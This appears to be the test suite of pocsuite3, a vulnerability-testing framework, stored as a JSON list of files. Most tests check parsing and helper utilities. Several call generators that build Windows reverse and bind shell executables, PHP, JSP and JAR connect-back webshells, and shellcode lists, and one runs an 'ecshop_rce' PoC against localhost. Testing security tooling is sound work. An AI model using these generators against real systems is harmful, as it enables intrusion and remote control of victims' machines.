optimization.add_option(\"--plugins\", dest=\"plugins\", action=\"store\", default=None,\n                                    help=\"Load plugins to execute\")\n            optimization.add_option(\"--pocs-path\", dest=\"pocs_path\", action=\"store\", default=None,\n                                    help=\"User defined poc scripts path\")\n            optimization.add_option(\"--threads\", dest=\"threads\", type=int, default=150,\n                                    help=\"Max number of concurrent network requests (default 150)\")\n            optimization.add_option(\"--batch\", dest=\"batch\",\n                                    help=\"Automatically choose defaut choice without asking\")\n            optimization.add_option(\"--requires\", dest=\"check_requires\", action=\"store_true\", default=False,\n                                    help=\"Check install_requires\")\n            optimization.add_option(\"--quiet\", dest=\"quiet\", action=\"store_true\", default=False,\n                                    help=\"Activate quiet mode, working without logger\")\n            optimization.add_option(\"--ppt\", dest=\"ppt\", action=\"store_true\", default=False,\n                                    help=\"Hiden sensitive information when published to the network\")\n            optimization.add_option(\"--pcap\", dest=\"pcap\", action=\"store_true\", default=False,\n                                    help=\"use scapy capture flow\")\n            optimization.add_option(\"--rule\", dest=\"rule\", action=\"store_true\", default=False,\n                                    help=\"export suricata rules, default export reqeust and response\")\n            optimization.add_option(\"--rule-req\", dest=\"rule_req\", action=\"store_true\", default=False,\n                                    help=\"only export request rule\")\n            optimization.add_option(\"--rule-filename\", dest=\"rule_filename\", action=\"store\", default=False,\n                                    help=\"Specify the name of the export rule file\")\n            optimization.add_option(\"--no-check\", dest=\"no_check\", action=\"store_true\", default=False,\n                                    help=\"Disable URL protocol correction and honeypot check\")\n\n            # Diy options\n            diy_options = OptionGroup(parser, \"Poc options\", \"definition options for PoC\")\n            diy_options.add_option(\"--options\", dest=\"show_options\", action=\"store_true\", default=False,\n                                   help=\"Show all definition options\")\n\n            parser.add_option_group(target)\n            parser.add_option_group(mode)\n            parser.add_option_group(request)\n            parser.add_option_group(account)\n            parser.add_option_group(modules)\n            parser.add_option_group(optimization)\n            parser.add_option_group(diy_options)\n\n        except Exception as e:\n            print(Exception, e)\n\n        d = parser.__dict__\n        optiondict = {}\n        for group in d[\"option_groups\"]:\n            # desc = group.description\n            title = group.title\n            # print(desc, title)\n            # config.add_section(\"; \" + desc)\n            config.add_section(title)\n            optiondict[title] = {}\n            for item in group.option_list:\n                _type = item.type\n                dest = item.dest\n                help = item.help\n                default = item.default\n                if isinstance(default, tuple) and default == ('NO', 'DEFAULT'):\n                    default = ''\n                print(_type, dest, default)\n                config.set(title, '; ' + help)\n                config.set(title, dest, str(default))\n                optiondict[title][dest] = _type\n        with open(self.path, 'w') as fp:\n            config.write(fp)\n\n        config.read(self.path)\n        print(optiondict)\n        self.assertTrue(len(config.items(\"Target\")) > 1)\n\n    def test_read_ini(self):\n        config = ConfigParser()\n        config.read(self.path2)\n        sections = config.sections()\n        for section in sections:\n            options = config.items(section)\n            if options:\n                for key, value in options:\n                    print(key, type(value))\n"
  },
  {
    "path": "tests/test_generate_shellcode_list.py",
    "content": "import unittest\n\nfrom pocsuite3.lib.core.enums import OS, OS_ARCH\nfrom pocsuite3.lib.utils import generate_shellcode_list\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def test_windows_shellcode(self):\n        _list = generate_shellcode_list(listener_ip='127.0.0.1', listener_port=8088)\n        self.assertTrue(len(_list) > 0)\n\n    def test_linux_shellcode(self):\n        _list = generate_shellcode_list(listener_ip='127.0.0.1', listener_port=8088, os_target=OS.LINUX,\n                                        os_target_arch=OS_ARCH.X86)\n        self.assertTrue(len(_list) > 0)\n"
  },
  {
    "path": "tests/test_httpserver.py",
    "content": "#!usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author: longofo\n@file: test_httpserver.py\n@time: 2019/03/31\n\"\"\"\nimport unittest\nimport warnings\n\nimport requests\nfrom urllib3.exceptions import InsecureRequestWarning\n\nfrom pocsuite3.lib.core.common import get_host_ip, get_host_ipv6\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.modules.httpserver import PHTTPServer, BaseRequestHandler\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        warnings.simplefilter(\"ignore\", ResourceWarning)\n        warnings.simplefilter(\"ignore\", InsecureRequestWarning)\n\n    def tearDown(self):\n        pass\n\n    # @unittest.skip(reason='test')\n    def test_only_start_server_once(self):\n        logger.info(\"Test http server is only start once\")\n        PHTTPServer._instance = None\n        httpd1 = PHTTPServer()\n        httpd2 = PHTTPServer()\n        httpd1.start()\n        httpd2.start()\n        httpd1.stop()\n        httpd2.stop()\n\n    def test_singleton(self):\n        logger.info(\"Test http server is singleton\")\n        PHTTPServer._instance = None\n        httpd1 = PHTTPServer()\n        httpd2 = PHTTPServer()\n        self.assertEqual(id(httpd1), id(httpd2))\n\n    def test_ipv4(self):\n        try:\n            logger.info('Test http server in ipv4')\n            PHTTPServer._instance = None\n            httpd = PHTTPServer(bind_ip='0.0.0.0', bind_port=6666, requestHandler=BaseRequestHandler)\n            httpd.start()\n            url = '{}://{}:{}/'.format('http', get_host_ip(), 6666)\n            resp = requests.get(url)\n            self.assertEqual(resp.status_code, 200)\n        except Exception:\n            assert False\n        finally:\n            httpd.stop()\n\n    @unittest.skip(reason='disable ipv6')\n    def test_ipv6(self):\n        try:\n            logger.info('Test http server in ipv6')\n            PHTTPServer._instance = None\n            httpd = PHTTPServer(bind_ip='::', bind_port=6666, requestHandler=BaseRequestHandler)\n            httpd.start()\n            url = '{}://{}:{}/'.format('http', '[{}]'.format(get_host_ipv6()), 6666)\n            resp = requests.get(url)\n            self.assertEqual(resp.status_code, 200)\n        except Exception:\n            pass\n        finally:\n            httpd.stop()\n\n    def test_ipv4_https(self):\n        try:\n            logger.info('Test https server in ipv4')\n            PHTTPServer._instance = None\n            httpd = PHTTPServer(bind_ip='0.0.0.0', bind_port=6666, use_https=True,\n                                requestHandler=BaseRequestHandler)\n            httpd.start()\n            url = '{}://{}:{}/'.format('https', get_host_ip(), 6666)\n            requests.get(url)\n        except requests.exceptions.SSLError:\n            url = '{}://{}:{}/'.format('https', get_host_ip(), 6666)\n            resp = requests.get(url, verify=False)\n            self.assertEqual(resp.status_code, 200)\n        except Exception:\n            assert False\n        finally:\n            httpd.stop()\n\n    @unittest.skip(reason='disable ipv6')\n    def test_ipv6_https(self):\n        try:\n            logger.info('Test https server in ipv6')\n            PHTTPServer._instance = None\n            httpd = PHTTPServer(bind_ip='::', bind_port=6666, use_https=True,\n                                requestHandler=BaseRequestHandler)\n            httpd.start()\n            url = '{}://{}:{}/'.format('https', '[{}]'.format(get_host_ipv6()), 6666)\n            requests.get(url)\n        except requests.exceptions.SSLError:\n            url = '{}://{}:{}/'.format('https', '[{}]'.format(get_host_ipv6()), 6666)\n            resp = requests.get(url, verify=False)\n            self.assertEqual(resp.status_code, 200)\n        except Exception:\n            pass\n        finally:\n            httpd.stop()\n"
  },
  {
    "path": "tests/test_import_pocsuite_execute.py",
    "content": "import unittest\nfrom pocsuite3.api import init_pocsuite\nfrom pocsuite3.api import start_pocsuite\nfrom pocsuite3.api import get_results\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        self.config = {\n            'url': 'http://127.0.0.1:8080',\n            'poc': 'ecshop_rce',\n        }\n        init_pocsuite(self.config)\n\n    def tearDown(self):\n        pass\n\n    def verify_result(self):\n        result = get_results().pop()\n        self.assertTrue(result[5] == 'success')\n\n    @unittest.skip(reason='test')\n    def test_import_run(self):\n        start_pocsuite()\n        self.verify_result()\n"
  },
  {
    "path": "tests/test_interactsh_module.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom pocsuite3.api import Interactsh, requests\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    @unittest.skip(reason='interactsh service is unstable')\n    def test_interactsh(self):\n        ISH = Interactsh(token=\"\", server=\"\")\n        url, flag = ISH.build_request(method='https')\n        requests.get(url, timeout=5, verify=False)\n        self.assertTrue(ISH.verify(flag))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_nuclei_helper_functions.py",
    "content": "import unittest\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions import *\n\n\nclass TestCase(unittest.TestCase):\n    def test_base64(self):\n        self.assertEqual(base64(\"Hello\"), \"SGVsbG8=\")\n\n    def test_base64_decode(self):\n        self.assertEqual(base64_decode(\"SGVsbG8=\"), b\"Hello\")\n\n    def test_base64_py(self):\n        self.assertEqual(base64_py(\"Hello\"), \"SGVsbG8=\\n\")\n\n    def test_concat(self):\n        self.assertEqual(concat(\"Hello\", 123, \"world\"), \"Hello123world\")\n\n    def test_compare_versions(self):\n        self.assertTrue(compare_versions(\"v1.0.0\", \">v0.0.1\", \"<v1.0.1\"))\n\n    def test_contains(self):\n        self.assertEqual(contains(\"Hello\", \"lo\"), True)\n\n    def test_contains_all(self):\n        self.assertEqual(contains_all(\"Hello everyone\", \"lo\", \"every\"), True)\n\n    def test_contains_any(self):\n        self.assertEqual(contains_any(\"Hello everyone\", \"abc\", \"llo\"), True)\n\n    def test_dec_to_hex(self):\n        self.assertEqual(dec_to_hex(7001), \"1b59\")\n\n    def test_hex_to_dec(self):\n        self.assertEqual(hex_to_dec(\"ff\"), 255)\n        self.assertEqual(hex_to_dec(\"0xff\"), 255)\n\n    def test_bin_to_dec(self):\n        self.assertEqual(bin_to_dec(\"0b1010\"), 10)\n        self.assertEqual(bin_to_dec(1010), 10)\n\n    def test_oct_to_dec(self):\n        self.assertEqual(oct_to_dec(\"0o1234567\"), 342391)\n        self.assertEqual(oct_to_dec(1234567), 342391)\n\n    @unittest.skip(reason='different output for the same input')\n    def test_gzip(self):\n        self.assertEqual(base64(gzip(\"Hello\"))[10:], \"H4sIAI9GUGMC//NIzcnJBwCCidH3BQAAAA==\"[10:])\n\n    def test_gzip_decode(self):\n        self.assertEqual(\n            gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\")),\n            b\"Hello\",\n        )\n\n    def test_zlib(self):\n        self.assertEqual(base64(zlib(\"Hello\")), \"eJzzSM3JyQcABYwB9Q==\")\n\n    def test_zlib_decode(self):\n        self.assertEqual(zlib_decode(hex_decode(\"789cf248cdc9c907040000ffff058c01f5\")), b\"Hello\")\n\n    def test_hex_decode(self):\n        self.assertEqual(hex_decode(\"6161\"), b\"aa\")\n\n    def test_hex_encode(self):\n        self.assertEqual(hex_encode(\"aa\"), \"6161\")\n\n    def test_html_escape(self):\n        self.assertEqual(html_escape(\"<body>test</body>\"), \"&lt;body&gt;test&lt;/body&gt;\")\n\n    def test_html_unescape(self):\n        self.assertEqual(html_unescape(\"&lt;body&gt;test&lt;/body&gt;\"), \"<body>test</body>\")\n\n    def test_md5(self):\n        self.assertEqual(md5(\"Hello\"), \"8b1a9953c4611296a827abf8c47804d7\")\n\n    def test_mmh3(self):\n        self.assertEqual(mmh3(\"Hello\"), \"316307400\")\n\n    def test_rand_base(self):\n        self.assertRegex(rand_base(5, \"abc\"), r\"[abc]{5}\")\n\n    def test_rand_char(self):\n        self.assertRegex(rand_char(\"abc\"), r\"[abc]\")\n\n    def test_rand_int(self):\n        self.assertIn(rand_int(1, 10), range(1, 11))\n\n    def test_rand_text_alpha(self):\n        self.assertRegex(rand_text_alpha(10, \"abc\"), r\"[^abc]{10}\")\n\n    def test_rand_text_alphanumeric(self):\n        self.assertRegex(rand_text_alphanumeric(10, \"ab12\"), r\"[^ab12]{10}\")\n\n    def test_rand_text_numeric(self):\n        self.assertRegex(rand_text_numeric(10, \"123\"), r\"[^123]{10}\")\n\n    def test_regex(self):\n        self.assertTrue(regex(\"H([a-z]+)o\", \"Hello\"))\n\n    def test_remove_bad_chars(self):\n        self.assertEqual(remove_bad_chars(\"abcd\", \"bc\"), \"ad\")\n\n    def test_repeat(self):\n        self.assertEqual(repeat(\"../\", 5), \"../../../../../\")\n\n    def test_replace(self):\n        self.assertEqual(replace(\"Hello\", \"He\", \"Ha\"), \"Hallo\")\n\n    def test_replace_regex(self):\n        self.assertEqual(replace_regex(\"He123llo\", \"(\\\\d+)\", \"\"), \"Hello\")\n\n    def test_reverse(self):\n        self.assertEqual(reverse(\"abc\"), \"cba\")\n\n    def test_sha1(self):\n        self.assertEqual(sha1(\"Hello\"), \"f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0\")\n\n    def test_sha256(self):\n        self.assertEqual(\n            sha256(\"Hello\"),\n            \"185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969\",\n        )\n\n    def test_to_lower(self):\n        self.assertEqual(to_lower(\"HELLO\"), \"hello\")\n\n    def test_to_upper(self):\n        self.assertEqual(to_upper(\"hello\"), \"HELLO\")\n\n    def test_trim(self):\n        self.assertEqual(trim(\"aaaHelloddd\", \"ad\"), \"Hello\")\n\n    def test_trim_left(self):\n        self.assertEqual(trim_left(\"aaaHelloddd\", \"ad\"), \"Helloddd\")\n\n    def test_trim_prefix(self):\n        self.assertEqual(trim_prefix(\"aaHelloaa\", \"aa\"), \"Helloaa\")\n\n    def test_trim_right(self):\n        self.assertEqual(trim_right(\"aaaHelloddd\", \"ad\"), \"aaaHello\")\n\n    def test_trim_space(self):\n        self.assertEqual(trim_space(\" Hello \"), \"Hello\")\n\n    def test_trim_suffix(self):\n        self.assertEqual(trim_suffix(\"aaHelloaa\", \"aa\"), \"aaHello\")\n\n    def test_unix_time(self):\n        self.assertGreater(unix_time(10), 1639568278)\n\n    def test_url_decode(self):\n        self.assertEqual(\n            url_decode(\"https:%2F%2Fprojectdiscovery.io%3Ftest=1\"),\n            \"https://projectdiscovery.io?test=1\",\n        )\n\n    def test_url_encode(self):\n        self.assertEqual(\n            url_encode(\"https://projectdiscovery.io/test?a=1\"),\n            \"https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1\",\n        )\n\n    def test_join(self):\n        self.assertEqual(join(\"_\", 123, \"hello\", \"world\"), \"123_hello_world\")\n\n    def test_hmac(self):\n        self.assertEqual(hmac(\"sha1\", \"test\", \"scrt\"), \"8856b111056d946d5c6c92a21b43c233596623c6\")\n\n    @unittest.skip(reason=\"timezone\")\n    def test_date_time(self):\n        self.assertEqual(date_time(\"%Y-%m-%d %H:%M\", 1654870680), \"2022-06-10 14:18\")\n\n    @unittest.skip(reason=\"timezone\")\n    def test_to_unix_time(self):\n        self.assertEqual(to_unix_time(\"2022-01-13 16:30:10\"), 1642120210)\n\n    def test_starts_with(self):\n        self.assertTrue(starts_with(\"Hello\", \"e\", \"He\"))\n\n    def test_line_starts_with(self):\n        self.assertTrue(line_starts_with(\"Hi\\nHello\", \"e\", \"He\"))\n\n    def test_ends_with(self):\n        self.assertTrue(ends_with(\"Hello\", \"e\", \"lo\"))\n\n    def test_line_ends_with(self):\n        self.assertTrue(line_ends_with(\"Hi\\nHello\", \"e\", \"lo\"))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/test_osshell.py",
    "content": "import unittest\nimport os\nfrom pocsuite3.api import OSShellcodes\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.core.enums import SHELLCODE_CONNECTION, OS, OS_ARCH\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        self.connect_back_ip = '127.0.0.1'\n        self.bad_chars = [\"\\x00\", \"\\x0a\", \"\\x0d\", \"\\x3b\"]\n\n        self.shellpath = os.path.join(paths.POCSUITE_TMP_PATH, \"payload.jar\")\n\n    def tearDown(self):\n        if os.path.exists(self.shellpath):\n            os.unlink(self.shellpath)\n\n    def test_win_x86_bind(self):\n        os_target = OS.WINDOWS\n        os_target_arch = OS_ARCH.X86\n        dll_funcs = [\"pcap_findalldevs\", \"pcap_close\", \"pcap_compile\", \"pcap_datalink\",\n                     \"pcap_datalink_val_to_description\",\n                     \"pcap_dump\", \"pcap_dump_close\", \"pcap_dump_open\", \"pcap_file\", \"pcap_freecode\", \"pcap_geterr\",\n                     \"pcap_getevent\", \"pcap_lib_version\", \"pcap_lookupdev\", \"pcap_lookupnet\", \"pcap_loop\",\n                     \"pcap_open_live\",\n                     \"pcap_open_offline\", \"pcap_setfilter\", \"pcap_snapshot\", \"pcap_stats\"]\n\n        s = OSShellcodes(os_target, os_target_arch, self.connect_back_ip, 6666, self.bad_chars)\n        connection_type = SHELLCODE_CONNECTION.BIND\n        filename = 'osshell_x86_bind'\n        filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename) + '.exe'\n        shellcode = s.create_shellcode(\n            connection_type,\n            encode='',\n            make_exe=1,\n            debug=0,\n            # dll_inj_funcs=dll_funcs,\n            filename=filename,\n            # use_precompiled=False\n        )\n\n        self.assertTrue(os.path.exists(filepath))\n        os.unlink(filepath)\n\n    def test_win_x86_reverse(self):\n        os_target = OS.WINDOWS\n        os_target_arch = OS_ARCH.X86\n        dll_funcs = [\"pcap_findalldevs\", \"pcap_close\", \"pcap_compile\", \"pcap_datalink\",\n                     \"pcap_datalink_val_to_description\",\n                     \"pcap_dump\", \"pcap_dump_close\", \"pcap_dump_open\", \"pcap_file\", \"pcap_freecode\", \"pcap_geterr\",\n                     \"pcap_getevent\", \"pcap_lib_version\", \"pcap_lookupdev\", \"pcap_lookupnet\", \"pcap_loop\",\n                     \"pcap_open_live\",\n                     \"pcap_open_offline\", \"pcap_setfilter\", \"pcap_snapshot\", \"pcap_stats\"]\n\n        s = OSShellcodes(os_target, os_target_arch, self.connect_back_ip, 6666, self.bad_chars)\n        connection_type = SHELLCODE_CONNECTION.REVERSE\n        filename = 'osshell_x86_reverse'\n        filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename) + '.exe'\n        shellcode = s.create_shellcode(\n            connection_type,\n            encode='',\n            make_exe=1,\n            debug=0,\n            # dll_inj_funcs=dll_funcs,\n            filename=filename,\n            # use_precompiled=False\n        )\n\n        self.assertTrue(os.path.exists(filepath))\n        os.unlink(filepath)\n\n    def test_win_x64_bind(self):\n        pass\n\n    def test_win_x64_reverse(self):\n        pass\n\n    def test_linux_x86_bind(self):\n        pass\n\n    def test_linux_x86_reverse(self):\n        pass\n\n    def test_linux_x64_bind(self):\n        pass\n\n    def test_linux_x64_reverse(self):\n        pass\n"
  },
  {
    "path": "tests/test_parse_target.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom pocsuite3.lib.core.common import parse_target\nfrom pocsuite3.lib.core.common import OrderedSet\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def test_domain(self):\n        result = OrderedSet()\n        result.add('example.com')\n        self.assertEqual(parse_target('example.com'), result)\n\n    def test_domain_url(self):\n        result = OrderedSet()\n        result.add('https://example.com/cgi-bin/test.cgi?a=b&c=d')\n        self.assertEqual(parse_target('https://example.com/cgi-bin/test.cgi?a=b&c=d'), result)\n\n    def test_domain_url_with_additional_ports(self):\n        result = OrderedSet()\n        result.add('https://example.com:8080/cgi-bin/test.cgi?a=b&c=d')\n        result.add('https://example.com:8443/cgi-bin/test.cgi?a=b&c=d')\n        result.add('http://example.com:10000/cgi-bin/test.cgi?a=b&c=d')\n        self.assertEqual(parse_target('https://example.com/cgi-bin/test.cgi?a=b&c=d',\n                                      [8080, 8443, 'http:10000'], True), result)\n\n    def test_ipv4_url(self):\n        result = OrderedSet()\n        result.add('172.16.218.1/cgi-bin')\n        self.assertEqual(parse_target('172.16.218.1/cgi-bin'), result)\n\n    def test_ipv6_url(self):\n        result = OrderedSet()\n        result.add('https://[fd12:3456:789a:1::f0]:8443/test')\n        self.assertEqual(parse_target('https://[fd12:3456:789a:1::f0]:8443/test'), result)\n\n    def test_ipv4(self):\n        result = OrderedSet()\n        result.add('192.168.1.1')\n        self.assertEqual(parse_target('192.168.1.1'), result)\n\n    def test_ipv4_cidr(self):\n        result = OrderedSet()\n        result.add('192.168.1.0')\n        result.add('192.168.1.1')\n        self.assertEqual(parse_target('192.168.1.1/31'), result)\n\n    def test_ipv4_cidr_with_host_32(self):\n        result = OrderedSet()\n        result.add('192.168.1.1')\n        self.assertEqual(parse_target('192.168.1.1/32'), result)\n\n    def test_ipv4_with_additional_ports(self):\n        result = OrderedSet()\n        result.add('172.16.218.0:8080')\n        result.add('172.16.218.0:8443')\n        result.add('https://172.16.218.0:10000')\n        result.add('172.16.218.1:8080')\n        result.add('172.16.218.1:8443')\n        result.add('172.16.218.1:8443')\n        result.add('https://172.16.218.1:10000')\n        self.assertEqual(parse_target('172.16.218.1/31', [8080, 8443, 'https:10000'], True), result)\n\n    def test_ipv6(self):\n        result = OrderedSet()\n        result.add('fd12:3456:789a:1::1')\n        self.assertEqual(parse_target('fd12:3456:789a:1::1'), result)\n\n    def test_ipv6_cidr(self):\n        result = OrderedSet()\n        result.add('fd12:3456:789a:1::1')\n        result.add('fd12:3456:789a:1::2')\n        result.add('fd12:3456:789a:1::3')\n        self.assertEqual(parse_target('fd12:3456:789a:1::/126'), result)\n\n    def test_ipv6_cidr_with_host_128(self):\n        result = OrderedSet()\n        result.add('fd12:3456:789a:1::')\n        self.assertEqual(parse_target('fd12:3456:789a:1::/128'), result)\n\n    def test_ipv6_with_additional_ports(self):\n        result = OrderedSet()\n        result.add('fd12:3456:789a:1::1')\n        result.add('[fd12:3456:789a:1::1]:8080')\n        result.add('[fd12:3456:789a:1::1]:8443')\n        result.add('https://[fd12:3456:789a:1::1]:10000')\n        result.add('fd12:3456:789a:1::2')\n        result.add('[fd12:3456:789a:1::2]:8080')\n        result.add('[fd12:3456:789a:1::2]:8443')\n        result.add('https://[fd12:3456:789a:1::2]:10000')\n        result.add('fd12:3456:789a:1::3')\n        result.add('[fd12:3456:789a:1::3]:8080')\n        result.add('[fd12:3456:789a:1::3]:8443')\n        result.add('https://[fd12:3456:789a:1::3]:10000')\n        self.assertEqual(parse_target('fd12:3456:789a:1::/126', [8080, 8443, 'https:10000']), result)\n\n    def test_localhost(self):\n        result = OrderedSet()\n        result.add('localhost')\n        self.assertEqual(parse_target('localhost'), result)\n\n    def test_random_str(self):\n        result = OrderedSet()\n        result.add('!@#$%^&*()_-+=:::::<>\"\"{}[]:::8080')\n        self.assertEqual(parse_target('!@#$%^&*()_-+=:::::<>\"\"{}[]:::8080'), result)\n"
  },
  {
    "path": "tests/test_request_raw.py",
    "content": "import unittest\nfrom pocsuite3.api import requests, init_pocsuite\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        init_pocsuite()\n\n    def tearDown(self):\n        pass\n\n    @unittest.skip(reason='significant latency')\n    def test_get(self):\n        raw = '''\n        GET /get?a=1&b=2 HTTP/1.1\n        Host: httpbin.org\n        Connection: keep-alive\n        Upgrade-Insecure-Requests: 1\n        User-Agent: pocsuite v3.0\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Encoding: gzip, deflate\n        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\n        Cookie: _gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1\n        '''\n        r = requests.httpraw(raw)\n        self.assertTrue(r.json()['args'] == {'a': '1', 'b': '2'})\n\n    @unittest.skip(reason='significant latency')\n    def test_post(self):\n        raw = '''\n        POST /post HTTP/1.1\n        Host: httpbin.org\n        Connection: keep-alive\n        Upgrade-Insecure-Requests: 1\n        User-Agent: pocsuite v3.0\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Encoding: gzip, deflate\n        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\n        Cookie: _gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1\n\n        a=1&b=2\n        '''\n        r = requests.httpraw(raw)\n        self.assertTrue(r.json()['data'] == 'a=1&b=2')\n\n    @unittest.skip(reason='significant latency')\n    def test_json(self):\n        raw = '''\n        POST /post HTTP/1.1\n        Host: httpbin.org\n        Connection: keep-alive\n        Upgrade-Insecure-Requests: 1\n        User-Agent: pocsuite v3.0\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Encoding: gzip, deflate\n        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\n        Cookie: _gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1\n\n        {\"pocsuite\":\"v3.0\"}\n        '''\n        r = requests.httpraw(raw)\n        self.assertTrue(r.json()['json'] == '{\"pocsuite\":\"v3.0\"}')\n"
  },
  {
    "path": "tests/test_show_poc_options.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os\nimport unittest\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def verify_result(self):\n        pass\n\n    def test_cmd_run(self):\n        pipeline = os.popen('pocsuite -k ecshop --options')\n\n        # os.popen default encoding may not be utf-8\n        res = pipeline.buffer.read().decode('utf-8')\n\n        self.assertTrue('You can select dict_keys' in res)\n"
  },
  {
    "path": "tests/test_spier_crawl.py",
    "content": "import unittest\nfrom pocsuite3.api import crawl\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        self.url = 'http://xxxxx'\n\n    def tearDown(self):\n        pass\n\n    def verify_result(self, urls):\n        links = urls['url']\n        self.assertTrue(len(links) > 0)\n        url = links.pop()\n        url = url.split('?')[0]\n        self.assertTrue(url.endswith(('.action', '.do')))\n\n    def test_import_run(self):\n        return self.assertTrue(1)\n        urls = crawl(self.url, url_ext=('.action', '.do'))\n        self.verify_result(urls)\n"
  },
  {
    "path": "tests/test_webshell.py",
    "content": "import unittest\nimport os\nfrom pocsuite3.api import WebShell\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.core.enums import SHELLCODE_TYPE\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        self.shellpath = os.path.join(paths.POCSUITE_TMP_PATH, \"payload.jar\")\n\n    def tearDown(self):\n        if os.path.exists(self.shellpath):\n            os.unlink(self.shellpath)\n\n    def test_gen_jsp_shell(self):\n        ip = \"8.8.8.8\"\n        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)\n        shellcode, _ = ws.create_shellcode(shell_type=SHELLCODE_TYPE.JSP, inline=True)\n        self.assertTrue(ip in shellcode)\n\n    def test_gen_jar_shell(self):\n        ip = \"8.8.8.8\"\n        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)\n        _, shell = ws.create_shellcode(shell_type=SHELLCODE_TYPE.JAR)\n        self.assertTrue(shell.path_to_jar != \"\")\n\n    def test_gen_php_shell(self):\n        ip = \"8.8.8.8\"\n        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)\n        shellcode, _ = ws.create_shellcode(shell_type=SHELLCODE_TYPE.PHP, inline=True)\n        self.assertTrue(ip in shellcode and shellcode.startswith('<?php'))\n"
  }
]